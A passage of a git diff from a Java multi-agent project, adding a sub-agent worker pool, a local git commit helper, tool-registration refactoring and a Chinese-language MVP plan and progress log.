+ "Git workspace commit skipped because no changes were detected: branch={}, worktreePath={}",
+ beforeCommit.branchName(),
+ normalizedWorktreePath
+ );
+ return beforeCommit.headCommit();
+ }
+
+ log.info(
+ "Git workspace committing changes: branch={}, worktreePath={}, changedFiles={}, commitMessage={}",
+ beforeCommit.branchName(),
+ normalizedWorktreePath,
+ beforeCommit.changedFiles(),
+ commitMessage
+ );
+ requireSuccess(
+ normalizedWorktreePath,
+ List.of("git", "add", "-A"),
+ "failed to stage worktree changes"
+ );
+ requireSuccess(
+ normalizedWorktreePath,
+ List.of(
+ "git",
+ "-c",
+ "user.name=" + DEFAULT_COMMIT_USER_NAME,
+ "-c",
+ "user.email=" + DEFAULT_COMMIT_USER_EMAIL,
+ "commit",
+ "-m",
+ commitMessage.trim()
+ ),
+ "failed to commit worktree changes"
+ );
+ GitWorkspaceSnapshot afterCommit = inspectWorkspace(normalizedWorktreePath);
+ log.info(
+ "Git workspace commit completed: branch={}, worktreePath={}, commitSha={}",
+ afterCommit.branchName(),
+ normalizedWorktreePath,
+ afterCommit.headCommit()
+ );
+ return afterCommit.headCommit();
+ }
+
+ private GitCommandResult requireSuccess(Path workingDirectory, List command, String failureMessage) {
+ GitCommandResult result = commandRunner.run(workingDirectory, command);
+ if (!result.isSuccess()) {
+ throw new GitWorktreeProvisioningException(
+ failureMessage + ": " + firstNonBlankLine(result.stderr(), result.stdout())
+ );
+ }
+ return result;
+ }
+
+ private List parseChangedFiles(String stdout) {
+ List changedFiles = new ArrayList<>();
+ for (String line : stdout.split("\\R")) {
+ if (line.isBlank()) {
+ continue;
+ }
+ String trimmed = line.trim();
+ if (trimmed.length() <= 3) {
+ continue;
+ }
+ changedFiles.add(trimmed.substring(3).trim());
+ }
+ return changedFiles;
+ }
+
+ private Path normalizeWorktreePath(Path worktreePath) {
+ if (worktreePath == null) {
+ throw new IllegalArgumentException("worktreePath must not be null");
+ }
+ return worktreePath.toAbsolutePath().normalize();
+ }
+
+ private void validateRequired(String value, String fieldName) {
+ if (value == null || value.isBlank()) {
+ throw new IllegalArgumentException(fieldName + " must not be blank");
+ }
+ }
+
+ private String blankToNull(String value) {
+ if (value == null || value.isBlank()) {
+ return null;
+ }
+ return value.trim();
+ }
+
+ private String firstNonBlankLine(String primary, String fallback) {
+ String candidate = pickFirstNonBlankLine(primary);
+ if (candidate != null) {
+ return candidate;
+ }
+ String fallbackLine = pickFirstNonBlankLine(fallback);
+ return fallbackLine == null ? "no additional details" : fallbackLine;
+ }
+
+ private String pickFirstNonBlankLine(String value) {
+ if (value == null || value.isBlank()) {
+ return null;
+ }
+ for (String line : value.split("\\R")) {
+ if (!line.isBlank()) {
+ return line.trim();
+ }
+ }
+ return null;
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/infra/ProcessGitCommandRunner.java b/src/main/java/com/openmanus/agentteam/infra/ProcessGitCommandRunner.java
new file mode 100644
index 0000000..a9dc3d2
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/infra/ProcessGitCommandRunner.java
@@ -0,0 +1,45 @@
+package com.openmanus.agentteam.infra;
+
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+import java.nio.file.Path;
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Runs local Git CLI commands through {@link ProcessBuilder}.
+ */
+class ProcessGitCommandRunner implements GitCommandRunner {
+
+ private static final long COMMAND_TIMEOUT_SECONDS = 30L;
+
+ @Override
+ public GitCommandResult run(Path workingDirectory, List command) {
+ ProcessBuilder processBuilder = new ProcessBuilder(command);
+ if (workingDirectory != null) {
+ processBuilder.directory(workingDirectory.toFile());
+ }
+ try {
+ Process process = processBuilder.start();
+ boolean finished = process.waitFor(COMMAND_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+ if (!finished) {
+ process.destroyForcibly();
+ throw new GitWorktreeProvisioningException("git command timed out: " + String.join(" ", command));
+ }
+ String stdout = new String(process.getInputStream().readAllBytes(), StandardCharsets.UTF_8);
+ String stderr = new String(process.getErrorStream().readAllBytes(), StandardCharsets.UTF_8);
+ return new GitCommandResult(process.exitValue(), stdout, stderr);
+ } catch (IOException exception) {
+ throw new GitWorktreeProvisioningException(
+ "failed to start git command: " + String.join(" ", command),
+ exception
+ );
+ } catch (InterruptedException exception) {
+ Thread.currentThread().interrupt();
+ throw new GitWorktreeProvisioningException(
+ "git command interrupted: " + String.join(" ", command),
+ exception
+ );
+ }
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/infra/SubAgentWorker.java b/src/main/java/com/openmanus/agentteam/infra/SubAgentWorker.java
new file mode 100644
index 0000000..fb43de9
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/infra/SubAgentWorker.java
@@ -0,0 +1,147 @@
+package com.openmanus.agentteam.infra;
+
+import com.openmanus.agentteam.application.AgentTeamErrorSupport;
+import com.openmanus.agentteam.application.SubAgentExecutionService;
+import com.openmanus.agentteam.application.SubTaskExecutionOutput;
+import com.openmanus.agentteam.domain.model.AgentMessage;
+import com.openmanus.agentteam.domain.model.SubTask;
+import com.openmanus.agentteam.domain.port.AgentMessageBusPort;
+import com.openmanus.agentteam.domain.port.TaskPoolPort;
+import lombok.extern.slf4j.Slf4j;
+
+import java.util.List;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+/**
+ * Polling worker for V1 agent-team execution.
+ */
+@Slf4j
+public class SubAgentWorker implements Runnable {
+
+ private final String agentId;
+ private final TaskPoolPort taskPoolPort;
+ private final AgentMessageBusPort messageBusPort;
+ private final SubAgentExecutionService executionService;
+ private final long idlePollIntervalMillis;
+ private final AtomicBoolean running = new AtomicBoolean(true);
+
+ public SubAgentWorker(
+ String agentId,
+ TaskPoolPort taskPoolPort,
+ AgentMessageBusPort messageBusPort,
+ SubAgentExecutionService executionService,
+ long idlePollIntervalMillis
+ ) {
+ this.agentId = agentId;
+ this.taskPoolPort = taskPoolPort;
+ this.messageBusPort = messageBusPort;
+ this.executionService = executionService;
+ this.idlePollIntervalMillis = idlePollIntervalMillis;
+ }
+
+ public String getAgentId() {
+ return agentId;
+ }
+
+ public void stop() {
+ running.set(false);
+ }
+
+ @Override
+ public void run() {
+ log.info("SubAgentWorker started: agentId={}, idlePollIntervalMillis={}", agentId, idlePollIntervalMillis);
+ while (running.get() && !Thread.currentThread().isInterrupted()) {
+ drainMailbox();
+ SubTask subTask = taskPoolPort.claimNext(agentId).orElse(null);
+ if (subTask == null) {
+ sleepQuietly(idlePollIntervalMillis);
+ continue;
+ }
+ executeClaimedTask(subTask);
+ }
+ log.info("SubAgentWorker stopped: agentId={}", agentId);
+ }
+
+ private void drainMailbox() {
+ List unreadMessages = messageBusPort.fetchUnread(agentId);
+ if (unreadMessages.isEmpty()) {
+ return;
+ }
+ List messageIds = unreadMessages.stream()
+ .map(AgentMessage::messageId)
+ .filter(id -> id != null && !id.isBlank())
+ .toList();
+ messageBusPort.markAsRead(agentId, messageIds);
+ }
+
+ private void executeClaimedTask(SubTask subTask) {
+ try {
+ log.info(
+ "SubAgentWorker executing claimed task: agentId={}, groupId={}, taskId={}, title={}",
+ agentId,
+ subTask.getGroupId(),
+ subTask.getTaskId(),
+ subTask.getTitle()
+ );
+ taskPoolPort.markRunning(subTask.getTaskId(), agentId);
+ SubTaskExecutionOutput output = executionService.execute(subTask, agentId);
+ taskPoolPort.markSucceeded(subTask.getTaskId(), agentId, output.summary(), output.detail());
+ log.info(
+ "SubAgentWorker completed task: agentId={}, groupId={}, taskId={}, title={}, summary={}",
+ agentId,
+ subTask.getGroupId(),
+ subTask.getTaskId(),
+ subTask.getTitle(),
+ summarize(output.summary())
+ );
+ } catch (Exception exception) {
+ handleExecutionFailure(subTask, exception);
+ }
+ }
+
+ private void handleExecutionFailure(SubTask subTask, Exception exception) {
+ String errorMessage = AgentTeamErrorSupport.safeMessage(exception);
+ try {
+ taskPoolPort.markFailed(subTask.getTaskId(), agentId, errorMessage);
+ log.warn(
+ "SubAgentWorker failed task: agentId={}, groupId={}, taskId={}, title={}, errorType={}, error={}",
+ agentId,
+ subTask.getGroupId(),
+ subTask.getTaskId(),
+ subTask.getTitle(),
+ AgentTeamErrorSupport.errorType(exception),
+ errorMessage
+ );
+ } catch (RuntimeException writebackException) {
+ log.error(
+ "SubAgentWorker failure writeback rejected: agentId={}, groupId={}, taskId={}, title={}, executionErrorType={}, executionError={}, writebackErrorType={}, writebackError={}",
+ agentId,
+ subTask.getGroupId(),
+ subTask.getTaskId(),
+ subTask.getTitle(),
+ AgentTeamErrorSupport.errorType(exception),
+ errorMessage,
+ AgentTeamErrorSupport.errorType(writebackException),
+ AgentTeamErrorSupport.safeMessage(writebackException),
+ writebackException
+ );
+ }
+ }
+
+ private void sleepQuietly(long millis) {
+ try {
+ Thread.sleep(millis);
+ } catch (InterruptedException exception) {
+ Thread.currentThread().interrupt();
+ running.set(false);
+ }
+ }
+
+ private String summarize(String value) {
+ if (value == null || value.isBlank()) {
+ return "";
+ }
+ String trimmed = value.trim();
+ return trimmed.length() > 120 ? trimmed.substring(0, 120) + "..." : trimmed;
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/infra/SubAgentWorkerManager.java b/src/main/java/com/openmanus/agentteam/infra/SubAgentWorkerManager.java
new file mode 100644
index 0000000..1e37874
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/infra/SubAgentWorkerManager.java
@@ -0,0 +1,72 @@
+package com.openmanus.agentteam.infra;
+
+import com.openmanus.agentteam.application.SubAgentExecutionService;
+import com.openmanus.agentteam.domain.port.AgentMessageBusPort;
+import com.openmanus.agentteam.domain.port.TaskPoolPort;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+/**
+ * Starts and owns a fixed set of polling subagent workers.
+ */
+public class SubAgentWorkerManager implements AutoCloseable {
+
+ private final int workerCount;
+ private final long idlePollIntervalMillis;
+ private final TaskPoolPort taskPoolPort;
+ private final AgentMessageBusPort messageBusPort;
+ private final SubAgentExecutionService executionService;
+ private final AtomicBoolean started = new AtomicBoolean(false);
+ private final List workers = new ArrayList<>();
+ private ExecutorService executorService;
+
+ public SubAgentWorkerManager(
+ int workerCount,
+ long idlePollIntervalMillis,
+ TaskPoolPort taskPoolPort,
+ AgentMessageBusPort messageBusPort,
+ SubAgentExecutionService executionService
+ ) {
+ this.workerCount = workerCount;
+ this.idlePollIntervalMillis = idlePollIntervalMillis;
+ this.taskPoolPort = taskPoolPort;
+ this.messageBusPort = messageBusPort;
+ this.executionService = executionService;
+ }
+
+ public void ensureStarted() {
+ if (!started.compareAndSet(false, true)) {
+ return;
+ }
+ executorService = Executors.newFixedThreadPool(workerCount);
+ for (int i = 1; i <= workerCount; i++) {
+ SubAgentWorker worker = new SubAgentWorker(
+ "subagent-" + i,
+ taskPoolPort,
+ messageBusPort,
+ executionService,
+ idlePollIntervalMillis
+ );
+ workers.add(worker);
+ executorService.submit(worker);
+ }
+ }
+
+ public List getWorkerIds() {
+ return workers.stream().map(SubAgentWorker::getAgentId).toList();
+ }
+
+ @Override
+ public void close() {
+ for (SubAgentWorker worker : workers) {
+ worker.stop();
+ }
+ if (executorService != null) {
+ executorService.shutdownNow();
+ }
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/plan.md b/src/main/java/com/openmanus/agentteam/plan.md
new file mode 100644
index 0000000..600c8c7
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/plan.md
@@ -0,0 +1,236 @@
+# OpenManus-Java AgentTeam 开发计划
+
+## 目标
+
+第一版将 `agentteam` 实现为一个独立的纵向子模块,采用以下包结构:
+
+- `com.openmanus.agentteam.application`
+- `com.openmanus.agentteam.domain`
+- `com.openmanus.agentteam.infra`
+
+这一版先打通一个最小可运行的多 Agent 协作闭环:
+
+1. 主 agent 接收一个大任务。
+2. 主 agent 判断该任务是否适合拆成多个可并行子任务。
+3. 子任务进入内存任务池。
+4. sub-agent worker 通过短轮询领取任务。
+5. agent 之间通过内存 mailbox / message bus 通信。
+6. 主 agent 轮询任务组状态并汇总结果。
+
+## 范围边界
+
+### 第一版要做
+
+- [x] 只支持 `fan-out / fan-in`
+- [x] 只支持无依赖并行子任务
+- [x] subagent 不做角色区分,能力和主 agent 保持一致
+- [x] 支持内存版任务池
+- [x] 支持内存版 agent 通信 mailbox
+- [x] 支持主 agent 轮询任务组完成状态
+- [x] 支持最小结果汇总
+
+### 第一版明确不做
+
+- [x] 不支持 DAG 依赖调度
+- [x] 不支持角色系统
+- [x] 不支持持久化存储和崩溃恢复
+- [x] 不支持 git/worktree 隔离
+- [x] 不支持同文件并行修改后的 merge 策略
+- [x] 不支持自动重试策略
+
+## 分层规划
+
+### `com.openmanus.agentteam.domain`
+
+这一层放稳定的领域模型、状态枚举、领域 port 和核心规则。
+
+- [x] 创建任务与消息领域模型
+ - `TaskGroup`
+ - `SubTask`
+ - `AgentMessage`
+- [x] 创建状态枚举
+ - `TaskStatus`
+ - `TaskGroupStatus`
+ - `MessageType`
+- [x] 定义领域 port
+ - `TaskPoolPort`
+ - `AgentMessageBusPort`
+ - `TaskGroupRepositoryPort`
+- [x] 定义领域服务接口
+ - `TaskGroupManager`
+ - `ResultAggregationService`
+- [x] 定义任务拆分结果模型
+ - `DecompositionPlan`
+ - `SubTaskPlan`
+
+### `com.openmanus.agentteam.application`
+
+这一层放用例编排逻辑,负责协调 domain 对象和现有 agent 执行能力。
+
+- [x] 实现 `MasterAgentOrchestrator`
+- [x] 实现 `TaskDecompositionService`
+- [x] 实现 `SubAgentExecutionService`
+- [x] 实现 `AgentTeamApplicationService` 或等价 facade
+- [x] 在不破坏单 agent 流程的前提下接入现有执行链路
+- [x] 增加回退逻辑:拆分不安全时退回单 agent 执行
+
+### `com.openmanus.agentteam.infra`
+
+这一层放具体运行时实现。
+
+- [x] 实现 `InMemoryTaskPool`
+- [x] 实现 `InMemoryTaskGroupRepository`
+- [x] 实现 `InMemoryAgentMessageBus`
+- [x] 实现 `SubAgentWorker`
+- [x] 实现 `SubAgentWorkerManager`
+- [x] 增加 worker 数量与轮询间隔配置
+- [x] 完成 Spring Bean 装配
+
+## 实施顺序
+
+### Phase 1:骨架与领域层
+
+- [x] 创建 `src/main/java/com/openmanus/agentteam/` 包骨架
+- [x] 增加领域模型与状态枚举
+- [x] 增加领域 port
+- [x] 增加任务组状态计算逻辑
+
+完成标准:
+
+- 领域类型能单独编译和测试
+- 暂时不接运行时 wiring
+
+### Phase 2:Infra MVP
+
+- [x] 增加内存版任务池
+- [x] 增加内存版任务组仓库
+- [x] 增加内存版 mailbox / message bus
+- [x] 验证任务提交、领取、成功、失败流转
+
+完成标准:
+
+- 单进程内可以正确提交和领取任务
+- 并发下不会重复 claim 同一个任务
+
+### Phase 3:Worker 运行时
+
+- [x] 增加 sub-agent worker 循环
+- [x] 增加短轮询行为
+ - 空闲时 sleep
+ - 有任务时立即 claim
+- [x] 在 worker 循环中加入 mailbox 轮询
+- [x] 基于 `ThreadPoolExecutor` 增加 worker manager
+
+完成标准:
+
+- 多个 worker 可以并行运行
+- worker 一轮循环里既能收消息,也能领任务
+
+### Phase 4:应用编排层
+
+- [x] 增加主 agent 编排流程
+- [x] 增加任务拆分结果校验
+- [x] 增加任务组轮询逻辑
+- [x] 增加子任务结果汇总
+- [x] 增加拆分不安全时回退单 agent 的逻辑
+
+完成标准:
+
+- 内存版多 agent 流程端到端跑通
+- 主 agent 能知道一组子任务是否都完成了
+
+### Phase 5:接入现有 Agent 层
+
+- [x] 将 subtask 执行接到现有 agent 执行能力
+- [x] 保证 subagent 与主 agent 的工具能力一致
+- [x] 默认不破坏当前单 agent 路径
+- [x] 增加开关控制是否启用 `agentteam`
+
+完成标准:
+
+- 现有单 agent 流程和 smoke 路径仍可通过
+- 多 agent 路径可以通过开关单独启用
+
+### Phase 6:测试与验证
+
+- [x] 增加领域状态流转单测
+- [x] 增加任务 claim 并发测试
+- [x] 增加 mailbox send/read/mark-read 测试
+- [x] 增加完整 task-group 流程 smoke test
+- [x] 增加部分失败场景测试
+
+完成标准:
+
+- happy path 和 failure path 都有覆盖
+- claim 关键并发路径没有明显竞态
+
+## 详细编码清单
+
+实现时按下面顺序推进:
+
+- [x] Step 1: 创建 `agentteam` 包骨架
+- [x] Step 2: 增加领域模型与状态枚举
+- [x] Step 3: 增加领域 port 与服务接口
+- [x] Step 4: 增加内存版 infra 实现
+- [x] Step 5: 增加 worker manager 与轮询循环
+- [x] Step 6: 增加 application orchestrator
+- [x] Step 7: 接入现有 agent 执行链路
+- [x] Step 8: 增加配置与 Bean 装配
+- [x] Step 9: 增加测试
+- [x] Step 10: 更新进度文档
+
+## 实现约束
+
+- [x] 优先复用现有结构,不要过度抽象
+- [x] `agentteam` 逻辑不要散落到 controller
+- [x] `aiframework` 不承载 team 协作语义
+- [x] 领域规则和线程池 / Spring wiring 分离
+- [x] 第一版优先使用 JDK 并发原语
+- [x] mailbox 是通信模型,不是持久化方案
+
+## 当前进度说明
+
+当前已经完成:
+
+- `agentteam` 包骨架
+- 领域模型、状态枚举、port、基础结果模型
+- `TaskGroupStatusCalculator`
+- `DefaultTaskGroupManager`
+- `DefaultResultAggregationService`
+- `TaskDecompositionService`
+- `SubAgentExecutionService`
+- `InMemoryTaskPool`
+- `InMemoryTaskGroupRepository`
+- `InMemoryAgentMessageBus`
+- `SubAgentWorker`
+- `SubAgentWorkerManager`
+- `MasterAgentOrchestrator`
+- `AgentTeamApplicationService`
+- `AgentTeamConversationApplicationService`
+- `AgentTeamProperties`
+- `AgentTeamConfig`
+- `DomainServiceConfig` 中的接线
+- `AgentController` 中的可选 `agentTeam=true` 入口
+
+当前验证情况:
+
+- 主代码 `compile` 已通过
+- 以下测试已通过:
+ - `TaskGroupStatusCalculatorTest`
+ - `DefaultTaskGroupManagerTest`
+ - `DefaultResultAggregationServiceTest`
+ - `TaskDecompositionServiceTest`
+ - `InMemoryTaskPoolTest`
+ - `InMemoryAgentMessageBusTest`
+ - `MasterAgentOrchestratorTest`
+ - `WebSocketExecutionStreamPublisherTest`
+ - `AgentControllerSessionSandboxStartTest`
+- 已覆盖 happy path、claim 并发、mailbox 收发已读、端到端编排成功、端到端部分失败
+
+## 勾选规则
+
+后续如果继续增强:
+
+- 完成一项就把 `- [ ]` 改成 `- [x]`
+- 如果某项延期或放弃,要在本文档里明确标注
+- 这份文件作为 `agentteam` MVP 的单一跟踪清单
diff --git a/src/main/java/com/openmanus/agentteam/progress/2026-05-19-agentteam-mvp-progress.md b/src/main/java/com/openmanus/agentteam/progress/2026-05-19-agentteam-mvp-progress.md
new file mode 100644
index 0000000..3447d9b
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/progress/2026-05-19-agentteam-mvp-progress.md
@@ -0,0 +1,35 @@
+# AgentTeam 第一版进度记录
+
+日期:2026-05-19
+
+## 本次完成
+
+- 完成 `agentteam` 独立子模块骨架:
+ - `com.openmanus.agentteam.application`
+ - `com.openmanus.agentteam.domain`
+ - `com.openmanus.agentteam.infra`
+- 完成第一版主链路:
+ - 主 agent 拆解任务
+ - 创建 `TaskGroup` / `SubTask`
+ - 子任务提交到内存任务池
+ - 多个 subagent 短轮询领取任务并执行
+ - 主 agent 轮询等待并汇总结果
+- 明确第一版范围:
+ - 只支持 `fan-out / fan-in`
+ - 只支持无依赖并行子任务
+ - 暂不支持 DAG
+ - 暂不支持角色系统
+- 完成 LLM 拆解能力:
+ - 拆解优先走 LLM 结构化输出
+ - 失败时回退到规则拆解
+
+## 当前状态
+
+- AgentTeam 第一版 MVP 已基本打通
+- 当前可用于前后端联调与断点调试
+
+## 后续建议
+
+- 补前端可视化开关,不再硬编码 `agentTeam=true`
+- 增强 mailbox 通信能力
+- 逐步评估 DAG、worktree 隔离、代码合并等后续能力
diff --git a/src/main/java/com/openmanus/domain/model/ExecutionErrorCodes.java b/src/main/java/com/openmanus/domain/model/ExecutionErrorCodes.java
index 7e2a229..2f1bbe0 100644
--- a/src/main/java/com/openmanus/domain/model/ExecutionErrorCodes.java
+++ b/src/main/java/com/openmanus/domain/model/ExecutionErrorCodes.java
@@ -10,6 +10,11 @@ private ExecutionErrorCodes() {
public static final String ASYNC_SUBMIT_REJECTED = "ASYNC_SUBMIT_REJECTED";
public static final String ASYNC_SUBMIT_EXCEPTION = "ASYNC_SUBMIT_EXCEPTION";
public static final String INTERNAL_ERROR = "INTERNAL_ERROR";
+ public static final String WORKTREE_UNAVAILABLE = "WORKTREE_UNAVAILABLE";
+ public static final String PLAN_NOT_PARALLELIZABLE = "PLAN_NOT_PARALLELIZABLE";
+ public static final String AGENTTEAM_TASK_OWNERSHIP_VIOLATION = "AGENTTEAM_TASK_OWNERSHIP_VIOLATION";
+ public static final String AGENTTEAM_TASK_STATE_INVALID = "AGENTTEAM_TASK_STATE_INVALID";
+ public static final String AGENTTEAM_EXECUTION_FAILED = "AGENTTEAM_EXECUTION_FAILED";
// Fallback-only code for controller status mapping when upstream returns an unknown business error code.
// It is not a stable output of ExecutionStreamingApplicationService in normal execution paths.
public static final String UNKNOWN_ERROR = "UNKNOWN_ERROR";
diff --git a/src/main/java/com/openmanus/domain/model/ExecutionRequest.java b/src/main/java/com/openmanus/domain/model/ExecutionRequest.java
index 6c8e8d3..6bb0e0c 100644
--- a/src/main/java/com/openmanus/domain/model/ExecutionRequest.java
+++ b/src/main/java/com/openmanus/domain/model/ExecutionRequest.java
@@ -1,5 +1,8 @@
package com.openmanus.domain.model;
+import com.fasterxml.jackson.annotation.JsonAlias;
+import com.fasterxml.jackson.annotation.JsonIgnoreProperties;
+import com.fasterxml.jackson.annotation.JsonProperty;
import lombok.Data;
/**
@@ -7,6 +10,7 @@
* 用于接收前端传递的请求数据
*/
@Data
+@JsonIgnoreProperties(ignoreUnknown = true)
public class ExecutionRequest {
/**
* 用户输入内容
@@ -17,4 +21,8 @@ public class ExecutionRequest {
* 会话ID;为空时由服务端生成新会话。
*/
private String sessionId;
+
+ @JsonProperty("targetRepositoryPath")
+ @JsonAlias({"target_repository_path", "targetRepoPath"})
+ private String targetRepositoryPath;
}
diff --git a/src/main/java/com/openmanus/infra/config/AgentArchitectureConfig.java b/src/main/java/com/openmanus/infra/config/AgentArchitectureConfig.java
index 55b2cb0..6f4cd03 100644
--- a/src/main/java/com/openmanus/infra/config/AgentArchitectureConfig.java
+++ b/src/main/java/com/openmanus/infra/config/AgentArchitectureConfig.java
@@ -15,7 +15,6 @@
import com.openmanus.aiframework.runtime.AiSearchConfig;
import com.openmanus.aiframework.runtime.AiSessionSandboxGateway;
import com.openmanus.aiframework.tool.AiRegisteredTool;
-import com.openmanus.aiframework.tool.AiToolRegistry;
import com.openmanus.aiframework.tool.mcp.McpToolRegistryBootstrap;
import com.openmanus.domain.service.ExecutionEventPort;
import com.openmanus.sandbox.support.SandboxPathResolver;
@@ -83,6 +82,25 @@ public TaskReflectionTool taskReflectionTool() {
return new TaskReflectionTool();
}
+ @Bean
+ public LocalAgentToolRegistry localAgentToolRegistry(BrowserTool browserTool,
+ PythonExecutionTool pythonExecutionTool,
+ SearchTool searchTool,
+ WebFetchTool webFetchTool,
+ ShellTool shellTool,
+ TaskReflectionTool taskReflectionTool,
+ OpenManusProperties properties) {
+ return new LocalAgentToolRegistry(
+ browserTool,
+ pythonExecutionTool,
+ searchTool,
+ webFetchTool,
+ shellTool,
+ taskReflectionTool,
+ properties.getChatMemory().isShellToolEnabled()
+ );
+ }
+
@Bean
public AgentExecutionService agentExecutionService(AgentCoordinator agentCoordinator,
@Qualifier(AsyncConfig.ASYNC_EXECUTOR_NAME) Executor asyncExecutor) {
@@ -99,9 +117,11 @@ AgentCoordinator agentCoordinator(
SearchTool searchTool,
WebFetchTool webFetchTool,
ShellTool shellTool,
- TaskReflectionTool taskReflectionTool) {
+ TaskReflectionTool taskReflectionTool,
+ LocalAgentToolRegistry localAgentToolRegistry) {
return agentCoordinator(chatModel, chatMemoryProvider, properties, sessionSandboxGateway, null, null,
- browserTool, pythonExecutionTool, searchTool, webFetchTool, shellTool, taskReflectionTool);
+ browserTool, pythonExecutionTool, searchTool, webFetchTool, shellTool, taskReflectionTool,
+ localAgentToolRegistry);
}
@Bean
@@ -109,7 +129,7 @@ public AgentCoordinator agentCoordinator(
AiChatModel chatModel,
AiMemoryProvider chatMemoryProvider,
OpenManusProperties properties,
- AiSessionSandboxGateway sessionSandboxGateway,
+ @Qualifier("sandboxGatewayAdapter") AiSessionSandboxGateway sessionSandboxGateway,
BrowserTool browserTool,
PythonExecutionTool pythonExecutionTool,
SearchTool searchTool,
@@ -117,6 +137,7 @@ public AgentCoordinator agentCoordinator(
ShellTool shellTool,
TaskReflectionTool taskReflectionTool,
Optional mcpToolRegistryBootstrap,
+ LocalAgentToolRegistry localAgentToolRegistry,
ExecutionEventPort executionEventPort) {
return agentCoordinator(
chatModel,
@@ -130,7 +151,8 @@ public AgentCoordinator agentCoordinator(
searchTool,
webFetchTool,
shellTool,
- taskReflectionTool
+ taskReflectionTool,
+ localAgentToolRegistry
);
}
@@ -145,7 +167,8 @@ public AgentCoordinator agentCoordinator(
SearchTool searchTool,
WebFetchTool webFetchTool,
ShellTool shellTool,
- TaskReflectionTool taskReflectionTool) {
+ TaskReflectionTool taskReflectionTool,
+ LocalAgentToolRegistry localAgentToolRegistry) {
return agentCoordinator(
chatModel,
chatMemoryProvider,
@@ -158,7 +181,8 @@ public AgentCoordinator agentCoordinator(
searchTool,
webFetchTool,
shellTool,
- taskReflectionTool
+ taskReflectionTool,
+ localAgentToolRegistry
);
}
@@ -174,7 +198,8 @@ AgentCoordinator agentCoordinator(
SearchTool searchTool,
WebFetchTool webFetchTool,
ShellTool shellTool,
- TaskReflectionTool taskReflectionTool) {
+ TaskReflectionTool taskReflectionTool,
+ LocalAgentToolRegistry localAgentToolRegistry) {
AgentCoordinator.Builder builder = AgentCoordinator.builder()
.aiChatModel(chatModel)
.aiMemoryProvider(chatMemoryProvider)
@@ -192,13 +217,11 @@ AgentCoordinator agentCoordinator(
.toolResultBudgetPreviewHeadChars(properties.getChatMemory().getToolResultBudgetPreviewHeadChars())
.toolResultBudgetPreviewTailChars(properties.getChatMemory().getToolResultBudgetPreviewTailChars())
.toolResultBudgetDecayChars(properties.getChatMemory().getToolResultBudgetDecayChars())
- .executionEventPort(executionEventPort)
- .browserTool(browserTool)
- .pythonExecutionTool(pythonExecutionTool)
- .toolFromObject(searchTool)
- .toolFromObject(webFetchTool)
- .shellTool(properties.getChatMemory().isShellToolEnabled() ? shellTool : null)
- .taskReflectionTool(taskReflectionTool);
+ .executionEventPort(executionEventPort);
+
+ for (AiRegisteredTool tool : localAgentToolRegistry.allLocalTools()) {
+ builder.tool(tool);
+ }
registerMcpTools(
builder,
@@ -229,14 +252,14 @@ private static void registerMcpTools(
return;
}
Map localToolRegistry = new LinkedHashMap<>();
- appendLocalTools(localToolRegistry, browserTool);
- appendLocalTools(localToolRegistry, pythonExecutionTool);
- appendLocalTools(localToolRegistry, searchTool);
- appendLocalTools(localToolRegistry, webFetchTool);
+ LocalAgentToolRegistry.appendLocalTools(localToolRegistry, browserTool);
+ LocalAgentToolRegistry.appendLocalTools(localToolRegistry, pythonExecutionTool);
+ LocalAgentToolRegistry.appendLocalTools(localToolRegistry, searchTool);
+ LocalAgentToolRegistry.appendLocalTools(localToolRegistry, webFetchTool);
if (properties.getChatMemory().isShellToolEnabled()) {
- appendLocalTools(localToolRegistry, shellTool);
+ LocalAgentToolRegistry.appendLocalTools(localToolRegistry, shellTool);
}
- appendLocalTools(localToolRegistry, taskReflectionTool);
+ LocalAgentToolRegistry.appendLocalTools(localToolRegistry, taskReflectionTool);
List mcpTools = bootstrap.discoverAndRegister(localToolRegistry);
for (AiRegisteredTool mcpTool : mcpTools) {
@@ -244,15 +267,4 @@ private static void registerMcpTools(
}
}
- private static void appendLocalTools(Map targetRegistry, Object toolObject) {
- if (toolObject == null) {
- return;
- }
- for (AiRegisteredTool localTool : AiToolRegistry.scan(toolObject)) {
- AiRegisteredTool existing = targetRegistry.putIfAbsent(localTool.name(), localTool);
- if (existing != null) {
- throw new IllegalStateException("Duplicate tool name detected: " + localTool.name());
- }
- }
- }
}
diff --git a/src/main/java/com/openmanus/infra/config/AgentTeamConfig.java b/src/main/java/com/openmanus/infra/config/AgentTeamConfig.java
new file mode 100644
index 0000000..fb9e28d
--- /dev/null
+++ b/src/main/java/com/openmanus/infra/config/AgentTeamConfig.java
@@ -0,0 +1,326 @@
+package com.openmanus.infra.config;
+
+import com.fasterxml.jackson.databind.ObjectMapper;
+import com.openmanus.agentteam.application.AgentTeamApplicationService;
+import com.openmanus.agentteam.application.AgentTeamCodingApplicationService;
+import com.openmanus.agentteam.application.AgentTeamPromptProvider;
+import com.openmanus.agentteam.application.AgentTeamRoleExecutionPort;
+import com.openmanus.agentteam.application.AgentTeamRoleExecutionService;
+import com.openmanus.agentteam.application.IntegrationCoordinator;
+import com.openmanus.agentteam.application.MasterAgentOrchestrator;
+import com.openmanus.agentteam.application.ParallelCodingOrchestrator;
+import com.openmanus.agentteam.application.ParallelCodingPlanner;
+import com.openmanus.agentteam.application.SubAgentCodingExecutionService;
+import com.openmanus.agentteam.application.PermissionBehavior;
+import com.openmanus.agentteam.application.PermissionEvaluator;
+import com.openmanus.agentteam.application.PermissionRule;
+import com.openmanus.agentteam.application.SubAgentToolPolicy;
+import com.openmanus.agentteam.application.SubAgentExecutionService;
+import com.openmanus.agentteam.application.TaskDecompositionService;
+import com.openmanus.agentteam.application.TeamMasterToolPolicy;
+import com.openmanus.agentteam.domain.port.AgentMessageBusPort;
